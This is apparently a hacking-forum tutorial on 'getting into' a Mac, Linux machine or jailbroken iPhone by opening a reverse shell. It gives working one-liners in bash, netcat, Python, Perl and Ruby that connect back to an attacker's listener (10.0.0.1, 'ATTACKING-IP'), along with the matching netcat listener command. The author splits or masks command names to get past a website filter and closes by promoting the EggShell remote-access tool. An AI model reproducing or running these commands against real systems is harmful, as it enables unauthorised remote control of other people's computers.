This is a simple tutorial on getting into a Mac computer (also works on linux and rooted iPhones). You don't have to install any RAT on the Mac or anything like that. One of the nice things about Macs is they come with some built in tools that windows doesn't. Let's get to it.

Bash (bourne again shell) is a command line interface for unix-like systems. It allows you to control the OS differently than a GUI (graphical user interface). A convenient feature of bash is that it can be used to pipe a shell over TCP (transmission control protocol). In other words we can send that Bash shell to some other computer, allowing that computer to execute commands on the Mac. All it takes is one command.

Code

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

"Bash" starts a new instance of bash, 10.0.0.1 is the IP of the system to give remote shell access to, 8080 is the port to connect to, 0>&1 runs the command in the background. Now just doing this alone won't do anything if you don't have a server to catch the connection. It's the same as executing a RAT with no server. Nothing will happen. What we'll use to catch it is a free program called netcat (Download Netcat). Netcat is a program that can make TCP and UDP (User Datagram Protocol) connections. It can catch the reverse shell from bash. Here's what you run from your system's command prompt to setup ncat:

Code

n*at -lv 0.0.0.0 8080

(I had to replace the c  with an asterisk because HF's WAF got mad at me.) -l is the flag for listen for connections, -v is for verbose so we can see what's happening, 0.0.0.0 is sort of an IP address. It means "listen on all local IP addresses."8080 is the port bash will be connecting to. The netcat server has to be setup before the bash command is executed. Otherwise it won't work.

It's that easy. All it takes is one command executed and you have access to the Mac. There's a few other things you can use. Mac's have netcat preinstalled. You can also use python, ruby, or perl to get in. Here are some reverse shell one liners that can all be caught by netcat listeners by executing in the macOS terminal. Just substitute the IP and port and you're all set. There's a space between the letters of the first word in the commands that you'll have to remove (WAF).

Code

n c -e /bin/sh 10.0.0.1 1234

Code

py thon -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Code

p erl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Code

rub y -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Code

0<& 196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196

Code

/bin/ sh | nc ATTACKING-IP 80

There's an awesome tool that uses bash to give you access to a Mac, iPhone, or Linux system. It's called eggshell (Download EggShell). With it you can do all the same things you can with a bash reverse shell and more. Here's what it can do.
